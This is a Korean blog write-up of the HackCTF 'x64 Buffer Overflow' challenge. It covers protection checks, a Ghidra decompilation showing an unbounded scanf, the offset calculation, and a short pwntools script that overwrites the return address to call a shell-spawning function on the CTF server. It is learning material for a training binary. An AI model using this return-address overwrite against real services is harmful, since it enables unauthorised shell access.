HackCTF x64 Buffer Overflow Write-Up

juuun0·2022년 1월 20일
1
post-thumbnail

문제 분석

문제 파일을 다운로드 받으며 내용을 예측해보면 x64 환경에서 진행될 것으로 예상할 수 있었습니다. 적용되어 있는 보호기법들은 다음과 같았습니다.

[*] '/home/persian/Downloads/64bof_basic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

우선 canary와 PIE가 안걸려있는 것을 보아 난이도가 높지는 않을 것 같아보입니다. 간단하게 실행을 통해 어떤 동작을 하는지 확인해 보았습니다.

./64bof_basic    
Test
Hello Test

"Test"라는 문자열을 입력하였으나 출력은 "Hello Test" 라는 내용이 출력되었습니다. 정상적인 동작의 경우 "Hello <입력값>" 형태로 출력되는 것 같았습니다. 추가로 공백을 통해 전달하였을 경우 공백 이후의 입력값은 전달되지 않는 것을 보아 scanf()와 같은 함수를 통해 입력받는 것을 예상할 수 있었습니다.

./64bof_basic 
AAAA BBBB
Hello AAAA

제목이 BOF인 만큼 과도하게 긴 문자열을 입력할 경우 Segmentation fault가 발생하였습니다.

GDB 및 Ghidra 분석

먼저 ghidra를 사용하여 decompile 결과를 확인 후 이를 토대로 gdb 분석을 진행하였습니다.

undefined8 main(void)

{
  size_t sVar1;
  char local_118 [268];
  undefined4 local_c;
  
  __isoc99_scanf(&DAT_00400741,local_118);
  sVar1 = strlen(local_118);
  local_c = (undefined4)sVar1;
  printf("Hello %s\n",local_118);
  return 0;
}

main 문 외에도 callMeMaybe() 라는 /bin/bash를 호출하는 사용자 함수가 존재하였는데 ret의 주소를 해당 주소로 변조하면 될 것으로 보였습니다.

핵심적인 내용을 파악하자면 local_118 배열에 입력을 받고 이를 다시 출력하는 형태임을 확인할 수 있었습니다. 이때 별도의 border line에 대한 검사가 존재하지 않았기에 bof 공격이 가능해보였습니다.

Payload 작성을 위해 gdb를 사용하여 추가적인 분석을 진행하였습니다. 우선 shell을 호출하는 함수의 주소를 구하고, local_118에서 ret까지의 offset을 구하였습니다.

offset의 경우 assembly로 확인하였을 때 local_118의 위치가 rbp-0x110 이었기 때문에 0x110 + 0x8(sfp)를 통해 0x118임을 알아냈습니다.

Exploit

획득한 정보들을 토대로 아래와 같은 exploit code를 작성, flag를 획득할 수 있었습니다.

#!/usr/bin/python3

import pwn 

#p = pwn.process("/tmp/64bof_basic")
p = pwn.remote("ctf.j0n9hyun.xyz", 3004)
#pwn.context.log_level = 'debug'

shell = 0x0000000000400606

padding = b"A"*0x118

payload = padding
payload += pwn.p64(shell)

p.sendline(payload)

p.interactive()
profile
To be

0개의 댓글